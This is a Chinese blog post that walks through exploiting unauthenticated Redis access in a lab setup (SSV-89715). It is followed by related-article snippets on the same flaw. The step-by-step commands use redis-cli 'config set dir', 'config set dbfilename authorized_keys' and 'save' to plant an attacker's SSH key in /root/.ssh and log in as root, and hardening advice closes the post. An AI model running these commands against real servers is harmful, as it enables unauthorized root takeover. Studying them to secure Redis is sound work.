Redis 未授权访问缺陷可轻易导致系统被黑【SSV-89715】

参考链接:https://www.sebug.net/vuldb/ssvid-89715

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

环境:

KaLi:192.168.2.162

CentOS:192.168.2.32

CentOS部署了redis数据库

步骤:

1.在Kali上生成密钥对:

命令:ssh-keygen -t rsa

2.将公钥写入 hack.txt 文件

命令:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > hack.txt

3.链接redis数据库,写入文件:

命令:

$ cat hack.txt | redis-cli -h 192.168.2.32 -x set crackit 

$ redis-cli -h 192.168.2.32 

$ 192.168.2.32:6379> config set dir /root/.ssh/

OK 

$ 192.168.2.32:6379> config get dir

1) "dir"

2) "/root/.ssh" 

$ 192.168.2.32:6379> config set dbfilename "authorized_keys" 

OK 

$ 192.168.2.32:6379> save

OK

4.现在查看下 192.168.2.32 设备的/root/.ssh/authorized.keys文件,已经写进去了:

5.使用Kali上生成的私钥链接CentOS设备

命令:ssh -i id_rsa [email protected]

6.登录成功。

7.敏感信息泄露:

通过redis的info命令。可查看服务器的相关参数和敏感信息,如图:

8.代码执行

redis可以嵌套lua脚本的特性将会导致代码执行,危害通其他服务器端的代码执行,如图:

一旦攻击者可以在服务端执行任意代码,攻击方式讲话会变得多且复杂。

通过lua代码攻击这可以调用redis.sha1hex()函数,恶意利用redis服务进行 SHA-1 的破解。

解决方案:

  1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
  2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
  3. 配置rename-command CONFIG "RENAME_CONFIG", 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
  4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config
时间: 2024-10-08 09:47:54

Redis 未授权访问缺陷可轻易导致系统被黑【SSV-89715】的相关文章

Redis 未授权访问缺陷可轻易导致系统被黑

Redis 未授权访问缺陷可轻易导致系统被黑 漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据.攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器. 漏洞概述 Redis

Redis未授权访问缺陷让服务器沦为肉鸡

阿里云的安全告警邮件内容: 在没有查到异常进程之前我是先把操作系统的带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因. 在各种netstat –ntlp  的查看下没有任何异常.在top 下查到了有异常进程还有些异常的这里就截图一个: 结果果断把进程给kill-9  了  没想到再去ps的时候又来了意思就是会自动启动它.这就让我想到了crond 这个自动任务果不其然/var/sprool/cron/root 这个文件被人做了手脚而且是二进制的,果断又给删除了,以为这

修补--Redis未授权访问漏洞

--------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访问,被攻击者恶意利用.当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除.泄露或加密勒索事件发生,严重危害业务正常服务. 二.Redis安全漏洞

Redis未授权访问漏洞的利用及防护

Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上.如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据.攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作.攻击者

[Shell]Redis未授权访问反弹shell

原作者:Cream 文章出处: 贝塔安全实验室 0x01 Redis未授权访问反弹shell Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API.从2010年3月15日起,Redis的开发工作由VMware主持.从2013年5月开始,Redis的开发由Pivotal赞助. Redis因配置不当可以未授权访问(窃取数据.反弹shell.数据备份操作主从复制.命令执行).攻击者无需认证访问到内部数据,可导致敏感信息

Redis 未授权访问漏洞(附Python脚本)

0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-2.8.17.tar.gz cd redis-2.8.17 make #启动redis服务 cd src ./redis-server 启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了. 比如: [email protected]:/tmp/redis-2.8.

Redis未授权访问

最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再此记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R) Server 2003, Enterprise Edition 32位服务器,所以下载的是32位的redis,如果是64位的请下载对应的版本 下载地址:https://github.com/MSOpenTech/redis/releases. 下载下来的压缩包将其放入C盘根目录,重命名为Redi

docker搭建redis未授权访问漏洞环境

这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1y来搜索该镜像 构建好容器之后需进入容器对ssh服务重启 /etc/init.d/ssh restart Dockerfile如下: #Redis is not authorized to access # Base image to use, this nust be set as the fir

Redis未授权访问漏洞

一.漏洞描述和危害 Redis因配置不当可以未授权访问,被攻击者恶意利用.攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器. 二.已确认被成功利用的软件及系统   对公网开放,且未启用认证的redis服务器. 三.建议修复方案 1.指定redis服务使用的网卡 (需